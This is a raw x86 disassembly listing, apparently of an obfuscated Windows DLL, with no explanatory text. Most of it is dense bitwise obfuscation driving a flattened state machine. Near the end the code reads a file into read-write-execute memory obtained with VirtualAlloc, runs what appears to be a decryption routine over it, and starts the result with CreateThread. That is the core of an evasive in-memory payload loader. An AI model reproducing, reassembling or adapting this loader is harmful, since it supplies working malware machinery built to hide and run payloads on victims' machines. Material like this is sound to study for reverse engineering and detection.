not esi
or ebp, esi
and esi, 0x3b3754fb
and eax, 0xc4c8ab04
or eax, esi
xor eax, edx
not ebp
or ebp, eax
mov edx, edi
xor edx, 0xe6ae03c8
xor edi, 0x1951fc37
mov dword [esp + 8], ebp
xor ebp, 0xbd8c6733
mov eax, edx
xor eax, ebp
and eax, edx
mov dword [esp + 0xc], eax
mov eax, ebp
mov dword [esp + 4], ebp
and ebp, edx
mov dword [esp + 0x10], ebp
and edx, 0x614ec735
mov esi, edi
and esi, 0x9eb138ca
or esi, edx
xor esi, 0x8dc90898
mov ebp, edi
and ebp, 0xec87cfad
or ebp, esi
mov edx, dword [esp + 0x14]
mov esi, edx
and esi, 0x1dda0f63
and ebx, 0xe225f09c
or ebx, esi
xor ebx, 0xea23f31
xor edx, ebx
and edx, ebx
mov ebx, edx
mov esi, dword [esp + 8]
xor esi, 0x427398cc
and edi, esi
mov dword [esp + 0x18], edi
and esi, 0x327a3bb8
and eax, 0xcd85c447
or eax, esi
xor eax, 0xdefdf415
mov edx, dword [esp + 4]
and edx, 0xec87cfad
or edx, eax
mov dword [esp + 4], edx
mov edx, dword [esp]
mov eax, edx
and eax, 0x13783052
and ecx, 0xec87cfad
or ecx, eax
xor edx, ecx
and edx, ecx
mov dword [esp], edx
mov ecx, ebp
not ecx
mov eax, ecx
or eax, 0x22730a02
and eax, 0x26f36b2e
mov esi, ebp
and esi, 0xc00c84d1
or esi, eax
mov eax, ebp
or eax, 0x480612c
and eax, 0x26f36b2e
mov edi, ecx
and edi, 0x19001000
or edi, eax
xor edi, esi
mov edx, ebx
mov dword [esp + 0x14], ebx
mov esi, ebx
not esi
mov eax, ebx
or eax, 0x3b731a02
mov ebx, eax
and ebx, 0xa4a55104
mov dword [esp + 8], esi
and dword [esp + 8], 0x4008a4f9
add dword [esp + 8], ebx
mov ebx, edx
xor ebx, 0xc48ce5fd
and ebx, edx
mov edx, ebx
not edx
or eax, edx
and edx, 0xa4a55104
and ebx, 0x5b5aaefb
or ebx, edx
xor ebx, dword [esp + 8]
not eax
or eax, ebx
xor eax, edi
mov edx, ecx
and edx, 0x1e4a05f8
and ebp, 0xe1b5fa07
or ebp, edx
mov edx, dword [esp + 0x14]
or ecx, edx
and edx, 0x1e4a05f8
and esi, 0xe1b5fa07
or esi, edx
xor esi, ebp
not ecx
or ecx, esi
not ecx
or ecx, eax
mov ebp, dword [esp + 4]
mov eax, ebp
not eax
mov edx, ebp
and edx, 0xcadd9354
mov edi, eax
and edi, 0x35226cab
or edi, edx
mov esi, dword [esp]
mov edx, esi
xor edx, 0xb73c4100
and edx, esi
not esi
mov ebx, esi
and ebx, 0xb73c4100
or edx, ebx
mov ebx, edi
xor ebx, 0x801c0100
or ebx, 0x800807c
mov dword [esp + 0x14], edi
xor edi, 0x5004000
and ebx, 0xb83c817c
and edi, 0x7004000
or edi, ebx
or ebp, 0xb03c0100
and ebp, 0xb83c817c
and eax, 0x40c33e83
or eax, ebp
xor eax, edi
mov edi, edx
xor edi, edx
not edi
and edi, eax
xor edi, edx
mov eax, dword [esp + 0x14]
xor eax, 0x35226cab
or esi, eax
not esi
or esi, edi
mov eax, ecx
not eax
mov edi, ecx
xor edi, 0x8c4d1430
and edi, ecx
or ecx, 0x73b2ebcf
mov edx, ecx
and edx, 0xe4a20612
and eax, 0x84d1020
or eax, edx
mov edx, edi
not edx
or ecx, edx
and edx, 0xe4a20612
and edi, 0x1b5df9ed
or edi, edx
xor edi, eax
mov edx, esi
xor edx, 0x84c0430
not ecx
or ecx, edi
xor esi, 0x51102a02
and esi, 0xd5113a02
and edx, 0x2aeec5fd
or edx, esi
xor edx, ecx
xor edx, 0xd5113a02
mov edi, dword [esp + 0x10]
or edi, dword [esp + 0x18]
mov ebx, dword [esp + 0xc]
mov ecx, ebx
not ecx
mov eax, edi
not eax
mov esi, ecx
and esi, 0x4d813b5c
and ebx, 0xb27ec4a3
or ebx, esi
or ecx, eax
and eax, 0x4d813b5c
and edi, 0xb27ec4a3
or edi, eax
xor edi, ebx
not ecx
or ecx, edi
mov eax, ecx
not eax
mov esi, eax
or esi, 0x43a5623
mov edi, ecx
or edi, 0x91040110
and edi, 0x953e5733
and eax, 0x2018088
or eax, edi
and esi, 0x953e5733
and ecx, 0x68c02844
or ecx, esi
xor ecx, eax
mov eax, ecx
xor eax, 0x48c40000
xor ecx, 0x1094ab
and ecx, 0xb110bdff
and eax, 0x4eef4200
or eax, ecx
mov ecx, eax
xor ecx, 0x4a464200
xor eax, 0x3100880b
and eax, 0x35a9880b
and ecx, 0xca5677f4
or ecx, eax
mov eax, ecx
xor eax, 0xca5677f4
xor ecx, 0x35a9880b
mov esi, edx
xor esi, ecx
and esi, edx
xor ecx, eax
and ecx, edx
xor ecx, eax
mov eax, esi
not eax
mov edx, ecx
not edx
mov edi, eax
and edi, 0xb32f7c2c
and esi, 0x4cd083d3
or esi, edi
or eax, edx
and edx, 0xb32f7c2c
and ecx, 0x4cd083d3
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov esi, eax
not esi
mov ecx, eax
mov edx, esi
and edx, eax
mov edi, esi
and edi, 0x213e9f55
and eax, 0xdec160aa
or eax, edi
not eax
or eax, esi
and esi, 0x45e7724b
and ecx, 0xba188db4
or ecx, esi
mov esi, ecx
xor esi, 0x8000
xor ecx, 0x45e7724b
mov edi, edx
not edi
mov ebx, ecx
and ebx, 0x203e0d14
and esi, 0x1009241
or esi, ebx
or ecx, edi
and edi, 0x203e0d14
and edx, 0x1009241
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
or edx, 0xdec160aa
mov esi, edx
or esi, eax
not esi
and edx, 0x23110870
and ecx, 0x2e9705
or ecx, edx
xor ecx, eax
xor ecx, 0xdceef78f
or ecx, esi
mov esi, ecx
not esi
mov eax, esi
and eax, 0x102285ad
mov edi, ecx
and edi, 0x8a480040
or edi, eax
xor edi, 0x8a480040
mov edx, ecx
xor edx, 0x9a6a85ed
and edx, ecx
or edx, edi
mov edi, edx
xor edi, 0x9a6a85ec
mov ebx, esi
and ebx, 0xb900149b
mov eax, ecx
and eax, 0x46ffeb64
or eax, ebx
mov ebx, eax
xor ebx, 0x46ffeb64
xor edx, 0x65957a13
and ebx, edx
xor eax, 0xb900149b
and eax, edi
or eax, ebx
not eax
or eax, edx
mov edx, eax
not edx
mov ebx, esi
and ebx, 0x5015f5
mov edi, ecx
and edi, 0x4a228202
or edi, ebx
mov ebx, edi
xor ebx, 0x8020200
xor edi, 0x21515c51
and ebx, 0x80203a4
and edi, 0x6371dc53
or edi, ebx
mov ebx, edi
xor ebx, 0x6371dc53
xor edi, 0x9c8e23ac
mov ebp, esi
and ebp, 0x5f51920b
and ecx, 0xa0ae6df4
or ecx, ebp
xor ecx, 0x152305fc
xor esi, ecx
and esi, ecx
mov ecx, esi
not ecx
mov ebp, ebx
xor ebp, ecx
and ebp, ebx
and esi, edi
and ecx, ebx
or ecx, esi
or ecx, ebp
mov edi, ecx
mov esi, ecx
xor esi, 0xb58d6809
and esi, ecx
or ecx, 0x4a7297f6
not edi
mov ebx, esi
not ebx
mov ebp, ecx
and ebp, 0xc5459876
and edi, 0x30886009
or edi, ebp
or ecx, ebx
and ebx, 0xc5459876
and esi, 0x3aba6789
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xa1b7463d
mov esi, ecx
and esi, 0x5e48b9c2
or esi, ebx
xor esi, 0x5e48b9c2
or esi, eax
mov ebx, eax
and ebx, 0xf1bbdc27
mov ebp, edx
and ebp, 0xe4423d8
or ebp, ebx
mov ebx, esi
not ebx
xor ebp, edi
xor ebp, 0xe4423d8
and ebp, ecx
and edi, 0xea731505
and ecx, 0x158ceafa
or ecx, edi
xor ecx, eax
xor ecx, 0x158ceafa
and ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, esi
or esi, edx
not esi
and edx, ebx
or edx, ecx
or edx, esi
mov eax, edx
not eax
mov ecx, edx
mov ebx, edx
mov edx, eax
and edx, 0xda16e487
mov esi, ebx
and esi, 0x25e91b78
or esi, edx
xor esi, 0x4062bafb
mov edi, esi
xor edi, eax
mov edx, eax
and edx, 0x24182bf5
and ebx, 0xdbe7d40a
or ebx, edx
not ebx
or ebx, eax
mov ebp, ebx
and eax, 0xe666b56d
and ecx, 0x19994a92
or ecx, eax
mov eax, ecx
xor eax, 0x19814280
xor ecx, 0xc240a12c
and ecx, 0xc258a93e
and eax, 0x3da756c1
or eax, ecx
mov ecx, eax
xor ecx, 0x8250083c
xor eax, 0x25830081
and eax, 0x658ba183
and ecx, 0x9a745e7c
or ecx, eax
mov eax, ecx
xor eax, 0x658ba183
and eax, ecx
and edi, esi
mov edx, eax
xor edx, 0x919f8901
and edx, eax
mov ecx, eax
not ecx
mov eax, edi
xor eax, 0x919f8901
and eax, edi
not edi
mov esi, ecx
and esi, 0x919f8901
or edx, esi
or ecx, edi
and edi, 0x919f8901
or eax, edi
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
not ecx
or ecx, esi
mov edx, ecx
xor edx, 0x658ba183
xor ecx, 0x9a745e7c
mov eax, edx
or eax, 0x24182bf5
mov esi, ecx
and esi, 0x24182bf5
and edx, 0xdbe7d40a
or edx, esi
mov esi, edx
not esi
mov edi, eax
and edi, 0xe9980fe7
and ecx, 0x1267d008
or ecx, edi
or eax, esi
and esi, 0xe9980fe7
and edx, 0x1667f018
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ebx, eax
not ebx
mov ecx, ebp
mov dword [esp + 4], ebp
not ecx
mov edi, ecx
mov dword [esp], ecx
mov ecx, ebx
mov edx, eax
and edx, 0x82afa2
and ebx, 0xff7d505d
or ebx, edx
not ebx
or ebx, eax
and eax, 0xa92c48c
and ecx, 0xf56d3b73
or ecx, eax
mov esi, ecx
xor esi, 0xf02d0363
xor ecx, 0x210c080
and ecx, 0x750f890
and esi, 0xf8af076f
or esi, ecx
mov ecx, esi
xor ecx, 0x750f890
mov dword [esp + 8], ecx
xor esi, 0xf8af076f
mov dword [esp + 0xc], esi
and esi, 0x289a2
mov eax, ecx
and eax, 0x802600
or eax, esi
or esi, 0x3b180051
xor eax, 0x208a2
and eax, 0x822ea2
and esi, 0x3b188151
or esi, eax
mov eax, edi
and eax, 0xff7d505d
mov ecx, ebp
and ecx, 0x82afa2
or ecx, eax
mov dword [esp + 0x14], ecx
mov ebp, ebx
not ebp
mov ecx, ebx
and ecx, 0x6b942296
mov eax, ebp
and eax, 0x946bdd69
or eax, ecx
mov edx, esi
xor edx, 0x3b188151
mov dword [esp + 0x10], edx
xor esi, 0xc4e77eae
mov ecx, esi
and ecx, 0x229051a1
and edx, 0x2ae02
or edx, ecx
mov dword [esp + 0x18], edx
mov edx, eax
xor edx, 0x946bdd69
xor eax, 0x6b942296
mov ecx, eax
or ecx, 0xc690610
and ecx, 0xced0690
mov edi, edx
and edi, 0x62105121
or edi, ecx
or ebx, 0x840080
and ebx, 0xced0690
and ebp, 0x9102a84e
or ebp, ebx
xor ebp, edi
xor ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x10]
mov ecx, edi
and ecx, 0x8d82
and esi, 0x9082722c
or esi, ecx
or edi, eax
and eax, 0x6f7d8dd3
and edx, 0x9082722c
or edx, eax
xor edx, esi
not edi
or edi, edx
mov ecx, ebp
xor ecx, 0xbffbffff
mov eax, ecx
and eax, 0xca7e0089
and ebp, 0x3581ff76
or ebp, eax
xor ebp, edi
or ecx, edi
xor ebp, 0x3581ff76
not ecx
or ecx, ebp
mov dword [esp + 0x10], ecx
mov edx, dword [esp + 4]
mov eax, edx
or eax, 0x82afa2
mov ecx, eax
not ecx
and eax, 0x9531d212
xor edx, 0xbf41104c
and edx, ecx
and ecx, 0x6a4c004d
or ecx, eax
mov esi, dword [esp + 0x14]
not esi
or esi, dword [esp]
mov dword [esp + 0x14], esi
mov ebp, esi
not ebp
mov eax, esi
and eax, 0x403ccdb1
xor esi, 0xbfc3324e
and esi, ebp
or esi, eax
mov edi, ecx
xor edi, 0x9531d212
mov dword [esp + 0x18], edi
or edi, 0xbfc3324e
mov eax, ecx
xor ecx, 0x40000
mov ebx, edi
and ebx, 0x4b9b6203
and ecx, 0x248010
or ecx, ebx
mov ebx, edx
not ebx
or edi, ebx
and ebx, 0x4b9b6fa3
and edx, 0xb464105c
or edx, ebx
xor edx, ecx
not edi
or edi, edx
mov edx, edi
xor edx, edi
not edx
and edx, esi
xor edx, edi
mov ecx, ebp
and ecx, 0xb79f25b4
mov esi, dword [esp + 0x14]
and esi, 0x4860da4b
or esi, ecx
xor eax, 0x48400849
mov ecx, dword [esp + 0x18]
or ebp, ecx
and ecx, 0xb71d0014
and eax, 0x4860da4b
or eax, ecx
xor eax, esi
not ebp
or ebp, eax
not ebp
or ebp, edx
mov edx, dword [esp + 0x10]
mov ecx, edx
xor ecx, 0xf58b7a7c
and ecx, edx
mov eax, edx
not edx
or eax, 0xa748583
mov esi, eax
and esi, 0xa5142128
and edx, 0x508b5a54
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xa5142128
and ecx, 0x5aebded7
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
xor ebp, 0xf58b7a7c
mov edi, ebp
xor edi, ebp
not edi
and edi, eax
xor edi, ebp
mov edx, dword [esp + 0xc]
mov eax, edx
mov ecx, dword [esp]
or eax, ecx
not eax
and edx, 0x4f5fcc9c
mov esi, edx
mov edx, dword [esp + 8]
and edx, 0xb0a03363
or edx, esi
mov esi, edx
and ecx, 0x4f5fcc9c
mov edx, dword [esp + 4]
and edx, 0xb0a03363
or edx, ecx
xor edx, esi
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x30424918
and edx, 0x800ca606
or edx, eax
xor edx, 0x800ca606
and ecx, 0x4fb110e1
or ecx, edx
mov esi, ecx
not esi
mov dword [esp + 0x14], esi
mov eax, edi
not eax
mov edx, eax
mov eax, esi
and eax, 0x93ca3d49
mov esi, ecx
and esi, 0x6c35c2b6
or esi, eax
mov ebx, edi
xor ebx, 0xdaa9a49c
and ebx, edx
mov ebp, edx
mov dword [esp], edx
mov eax, ebx
not eax
mov edx, eax
and edx, 0x40578b69
and ebx, 0xbfa87496
or ebx, edx
mov edx, ebp
or edx, 0xdaa9a49c
or eax, edx
and edx, 0x40578b69
mov ebp, edi
and ebp, 0x25005002
or ebp, edx
xor ebp, ebx
not eax
or eax, ebp
mov edx, esi
mov dword [esp + 4], esi
mov ebp, esi
xor ebp, 0x6c35c2b6
xor edx, 0x496399d5
and edx, ebp
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0xfe65f14
and edx, 0xf019a0eb
or edx, esi
mov esi, dword [esp + 0x14]
or esi, 0xdaa9a49c
or ebx, esi
and esi, 0xfe65f14
and ecx, 0x20100063
or ecx, esi
xor ecx, edx
not ebx
or ebx, ecx
xor ebx, eax
mov edx, dword [esp + 4]
xor edx, 0x93ca3d49
mov eax, edi
and eax, 0xf0b0ad7d
mov ecx, dword [esp]
and ecx, 0xf4f5282
or ecx, eax
mov eax, edx
or edi, edx
and eax, 0xf0b0ad7d
and ebp, 0xf4f5282
or ebp, eax
xor ebp, ecx
not edi
or edi, ebp
not edi
or edi, ebx
mov eax, edi
not eax
mov edx, eax
and edx, 0x9a5764b7
mov ecx, edi
xor ecx, 0x9a5764b7
and ecx, edi
or ecx, edx
mov edx, ecx
xor edx, 0x21281108
xor ecx, 0x8a454080
and ecx, 0xcec5cac0
and edx, 0x313a353f
or edx, ecx
mov ecx, edx
xor ecx, 0x2030201a
and ecx, 0xa6f4a25a
xor edx, 0x48014880
and edx, 0x590b5da5
or edx, ecx
mov ecx, edx
xor ecx, 0xa6f4a25a
and ecx, edx
and eax, 0xa6702210
and edi, 0x84804a
or edi, eax
mov edx, edi
xor edx, 0xa
or edx, 0x180b5c84
xor edi, 0x26302200
and edi, 0x26b4a240
and edx, 0x984b5c9e
or edx, edi
mov ebx, edx
xor ebx, 0x80424c1a
mov edi, ecx
not edi
mov esi, edi
and esi, 0x8ba47d3a
mov eax, ecx
and eax, 0x745b82c5
or eax, esi
mov esi, eax
xor esi, 0x24508240
mov ebp, edx
xor ebp, 0x67b4a361
or ebx, ebp
xor edx, 0x60900020
and edx, ebx
mov ebx, eax
xor ebx, 0x802
or ebx, 0x1f002300
xor eax, 0x20120001
or edi, 0x40400802
and ebx, 0x5f402b02
and eax, 0xa0924439
or eax, ebx
and edi, 0x5f402b02
and ecx, 0x2d90c4
or ecx, edi
and edx, 0xe6f6ee7a
xor edx, ecx
xor edx, eax
xor edx, 1
or ebp, esi
not ebp
or ebp, edx
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0xca6b7ed8
mov edx, ebp
and edx, 0x35948127
or edx, ecx
mov ecx, edx
xor ecx, 0x20100104
xor edx, 0x2000488
or eax, 0x12800488
or edx, 0x414fc833
and edx, 0x53cfccbb
and ecx, 0xa0100144
or ecx, edx
and eax, 0x53cfccbb
and ebp, 0xc203200
or ebp, eax
xor ebp, ecx
mov esi, ebp
xor esi, 0x307c8c63
mov eax, ebp
mov dword [esp], ebp
xor eax, 0xcf83739c
mov ecx, eax
mov edx, esi
or edx, 0x8200050
mov eax, ebp
xor eax, 0x86b173ed
and eax, esi
mov ebx, esi
mov esi, eax
not esi
and edx, 0xaea0f256
mov edi, ecx
mov dword [esp + 8], ecx
and edi, 0x104d0d88
or edi, edx
mov edx, ebx
mov ebp, ebx
mov dword [esp + 4], ebx
or edx, esi
and esi, 0xaea0f256
and eax, 0x515f0da9
or eax, esi
xor eax, edi
not edx
or edx, eax
not eax
and eax, 0x49320071
and edx, 0xb6cdff8e
or edx, eax
mov edi, edx
not edi
and edx, 0x87216ec0
and edi, 0x78de913f
or edi, edx
mov eax, edi
xor eax, 0xcc976eec
xor edi, 0x78de913f
and edi, eax
mov eax, ecx
and eax, 0x4bb6002c
and ebp, 0xb449ffd3
or ebp, eax
mov edx, edi
not edx
mov eax, edx
and eax, 0x4af11f75
mov esi, edi
and esi, 0xb50ee08a
or esi, eax
not ebp
or ebp, ecx
mov ebx, ebp
not ebx
mov dword [esp + 0xc], ebx
mov eax, ebp
and eax, 0x85d417bd
and ebx, 0x7a2be842
or ebx, eax
mov eax, esi
xor eax, 0xb50ee08a
mov dword [esp + 0x14], eax
xor esi, 0x4af11f75
mov ecx, esi
or ecx, 0x3021402
and ecx, 0xb42f427
mov eax, dword [esp + 0x14]
and eax, 0x64080988
or eax, ecx
or edx, 0x840e025
and edx, 0xb42f427
and edi, 0x90b50250
or edi, edx
xor edi, eax
mov eax, ebx
xor eax, 0x7a2be842
xor ebx, 0x85d417bd
mov ecx, ebx
or ecx, 0x1860050
and ecx, 0x29ce41d4
mov edx, eax
and edx, 0x4400a829
or edx, ecx
or ebp, 0x28484184
and ebp, 0x29ce41d4
mov ecx, dword [esp + 0xc]
and ecx, 0x92311602
or ecx, ebp
xor ecx, edx
xor ecx, edi
mov edx, ecx
mov ecx, esi
and ecx, 0x66a9cdd
mov edi, dword [esp + 0x14]
and edi, 0xf9956322
or edi, ecx
or esi, ebx
and ebx, 0x66a9cdd
and eax, 0xf9956322
or eax, ebx
xor eax, edi
not esi
or esi, eax
not esi
or esi, edx
mov edx, esi
not edx
mov eax, esi
xor eax, 0x4bb6002c
and eax, esi
or esi, 0xb449ffd3
mov ecx, esi
and ecx, 0xdee8725d
and edx, 0x1160020
or edx, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0xdee8725d
and eax, 0x21178da2
or eax, ecx
xor eax, edx
not esi
or esi, eax
mov edx, dword [esp]
xor edx, 0x6ed97691
mov ecx, dword [esp + 4]
and edx, ecx
mov eax, ecx
or eax, 0xa0500000
and eax, 0xecf04ab0
mov edi, dword [esp + 8]
and edi, 0x1205b042
or edi, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0xecf04ab0
and edx, 0x130fb54f
or edx, eax
mov eax, esi
not eax
xor edx, edi
not ecx
or ecx, edx
not edx
and edx, 0xa15a050d
and ecx, 0x5ea5faf2
or ecx, edx
mov edi, ecx
not edi
mov edx, eax
xor edx, edi
and edx, eax
and esi, 0x145b3769
and eax, 0xeba4c896
or eax, esi
and edi, 0x145b3769
mov esi, ecx
and esi, 0xeba4c896
or esi, edi
xor esi, eax
or esi, edx
mov eax, esi
not eax
mov edx, eax
or edx, 0x40601086
mov ecx, esi
or ecx, 0x86842c31
and ecx, 0xc6e43cb7
and eax, 0xa0148
or eax, ecx
and edx, 0xc6e43cb7
and esi, 0x3911c200
or esi, edx
xor esi, eax
mov eax, esi
xor eax, 0x4912c31
xor esi, 0x406a11ce
mov ecx, esi
and ecx, 0xfb66c34e
and eax, 0x4993cb1
or eax, ecx
xor eax, 0xfb66c34e
xor esi, eax
test esi, eax
setne dl
mov byte [esp + 4], dl
sete dh
cmp dword [0x1004090c], 0xa
setl bh
setge ah
mov byte [esp], ah
mov al, dh
and al, ah
mov cl, bh
and cl, dl
or cl, al
mov al, cl
xor al, ah
and al, cl
mov bl, al
xor bl, 1
or bh, dl
mov ah, al
mov dl, al
and ah, bh
mov byte [esp + 0x14], ah
mov ah, bh
xor ah, 1
or dl, ah
mov al, bh
and al, ah
xor al, 1
mov ch, ah
xor ch, al
or al, ah
and ah, bl
or ah, byte [esp + 0x14]
xor bl, bh
xor dl, 1
or dl, bl
xor dl, 1
or dl, ah
mov byte [esp + 0x14], dl
mov dl, byte [esp + 4]
mov bl, byte [esp]
or dl, bl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
or dh, bl
mov ah, dh
xor ah, 1
mov bl, dh
and bl, ah
xor bl, 1
mov dl, ah
xor dl, bl
or bl, ah
xor bl, 1
or bl, dl
xor al, 1
or al, ch
mov dl, cl
xor dl, 1
xor al, bl
or dh, bh
xor dh, 1
or dh, al
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov ch, dh
xor ch, 1
mov ah, cl
xor ah, 1
mov dl, dh
or dl, cl
xor dl, 1
mov al, ah
or al, ch
xor al, 1
or al, dl
and ch, ah
or ah, dh
and cl, dh
or cl, ch
xor cl, 1
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ah, cl
and ah, al
xor al, 1
and dl, al
or dl, ah
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
xor al, 1
or al, dl
xor al, 1
or al, cl
mov ch, byte [esp + 0x14]
mov cl, ch
xor cl, 1
mov ah, al
mov dl, ch
and dl, cl
xor dl, 1
or dl, ch
mov dh, ch
xor dl, 1
or dl, cl
xor dl, al
mov ch, al
xor ch, 1
or ah, dh
or ch, cl
mov al, ah
xor al, ch
or ch, ah
xor ch, 1
or ch, al
xor ch, 1
or ch, cl
mov ah, ch
xor ah, 1
mov al, dl
xor al, 1
mov cl, dl
and cl, ch
and ah, al
or ah, cl
mov cl, ah
xor cl, ch
and cl, ah
xor dl, ch
and dl, al
or al, ch
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
mov ah, al
xor ah, 1
and al, dl
or dl, ah
and ah, cl
or ah, al
mov al, dl
xor al, ah
test al, 1
mov ecx, 0x33af6d5
mov esi, 0xa66459cc
cmovne ecx, esi
test ah, 1
mov ebx, ecx
mov eax, 0x33af6d5
cmovne ebx, eax
test dl, 1
cmovne ebx, ecx
mov dword [esp + 0x14], 1
jmp 0x1000b8a0
cmp ebx, 0xb540fd08
jg 0x100109f9
cmp ebx, 0x9fdd15a6
je 0x100177b0
cmp ebx, 0xa66459cc
je 0x100177cb
cmp ebx, 0xa7624359
jne 0x1000b8a0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, 0x49ddde6d
mov dword [esp + 0x14], 1
jmp 0x1000b8a0
cmp ebx, 0x686c2014
jg 0x10011415
cmp ebx, 0x665723a3
je 0x100177dd
cmp ebx, 0x66ea4d76
je 0x100177e7
cmp ebx, 0x684709bc
jne 0x1000b8a0
mov ebx, 0x214fb74b
jmp 0x1000b8a0
cmp ebx, 0xe8e94f0f
jle 0x10011452
cmp ebx, 0xe8e94f10
je 0x100177f1
cmp ebx, 0xf3aa49bc
je 0x1000b88d
cmp ebx, 0xf87df5d7
jne 0x1000b8a0
mov ebx, 0x9876fa2e
push 0
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x34], eax
jmp 0x1000b8a0
cmp ebx, 0x80204df
je 0x1001780d
cmp ebx, 0xe9db2e5
je 0x10017817
cmp ebx, 0x1a8fed46
jne 0x1000b8a0
push 0x40
push 0x1000
push dword [esp + 0x3c]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x28], eax
test eax, eax
mov ebx, 0x9b03ed41
mov eax, 0xb540fd09
cmove ebx, eax
jmp 0x1000b8a0
cmp ebx, 0x9876fa2e
je 0x100182b5
cmp ebx, 0x9a166f6d
je 0x100199f3
cmp ebx, 0x9b03ed41
jne 0x1000b8a0
mov dword [esp + 0x48], 0
push 0
lea eax, [esp + 0x4c]
push eax
push dword [esp + 0x3c]
push dword [esp + 0x34]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
mov ebx, 0xb6f32dd3
mov eax, 0x4f7b7bfc
cmove ebx, eax
jmp 0x1000b8a0
cmp ebx, 0x58add5e2
je 0x1001a92e
cmp ebx, 0x5be881c4
je 0x1001a938
cmp ebx, 0x620ba70e
jne 0x1000b8a0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffaa
push dword [esp + 0x38]
mov esi, dword [esp + 0x30]
push esi
call section..text
add esp, 0xc
push 0
push 0
push esi
push 0x10009ca0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x38], eax
test eax, eax
setne byte [esp + 0x2f]
mov eax, dword [0x10040908]
lea ebp, [eax + 1]
imul ebp, eax
mov edx, ebp
not edx
mov dword [esp], edx
mov eax, ebp
or eax, 0x5048244
mov ecx, edx
or ecx, 0x62382889
and eax, 0x673caacd
and edx, 0x80c35100
or edx, eax
and ecx, 0x673caacd
mov eax, ebp
mov dword [esp + 4], ebp
and eax, 0x18000432
or eax, ecx
xor eax, edx
mov esi, eax
xor esi, 0x1c040626
xor eax, 0x602a5189
and eax, 0x612ad1d9
and esi, 0x9ed52e26
or esi, eax
mov ebx, esi
xor ebx, 0x18950004
or ebx, 0x8768ff7a
mov edi, dword [esp]
or edi, 0x28860081
and ebp, 0xd44a
and edi, 0xafee2bb1
or edi, ebp
mov eax, ebx
not eax
and ebx, 0x58c05885
xor esi, 0x78120085
and esi, eax
and eax, 0x20170000
or eax, ebx
mov ebx, edi
xor ebx, 0x6202320
xor edi, 0x5011d44e
mov edx, edi
and edx, 0xa14d5cd5
and ebx, 0x620a32a
or ebx, edx
mov ecx, eax
xor ecx, 0xa73fa77a
mov dword [esp + 8], ecx
mov ebp, eax
xor ebp, 0xc798afdb
and ebp, ecx
or esi, ebp
mov edx, ebx
xor edx, 0x5eb2a32a
xor ebx, 0xa14d5cd5
mov ecx, ebx
or ecx, 0x60810020
and ecx, 0xe489a676
mov ebp, edx
and ebp, 0x3505108
or ebp, ecx
or edi, 0x9c08a656
and edi, 0xfc89a676
mov ecx, dword [esp + 4]
and ecx, 0x200800
or ecx, edi
xor ecx, ebp
mov edi, ecx
xor edi, ecx
not edi
and edi, esi
xor edi, ecx
xor eax, 0x58c05885
mov ecx, eax
and ecx, 0x60140004
mov esi, dword [esp + 8]
and esi, 0x1dc33bc3
or esi, ecx
or eax, ebx
and ebx, 0xa22cc438
and edx, 0x1dc33bc3
or edx, ebx
xor edx, esi
not eax
or eax, edx
not eax
or eax, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x14c6d1df
mov edi, eax
and edi, 0xeb392e20
or edi, edx
mov edx, edi
xor edx, 0x81282c20
xor edi, 0x511a
or ecx, 0x200531a
or edi, 0x60050005
and edi, 0x6205531f
and edx, 0x8568ac60
or edx, edi
and ecx, 0x6205531f
and eax, 0x18920080
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x5068d3ca
and ecx, 0xaf972c35
or ecx, eax
mov eax, ecx
xor eax, 0x1028108a
mov edx, ecx
xor edx, 0xaf972c35
mov esi, ecx
xor esi, 0xb3ac1cba
and esi, edx
and eax, 0x1c3b308f
or eax, esi
mov edi, eax
xor edi, 0x70000110
xor eax, 0x4fd20e3
mov esi, eax
and esi, 0x8f7efead
and edi, 0x70810152
or edi, esi
or edx, 0xe739ef93
xor ecx, 0x10000040
or eax, edx
and edx, 0x8f7efead
and ecx, 0x10800040
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2d4580cd
and ecx, 0xd2ba7f32
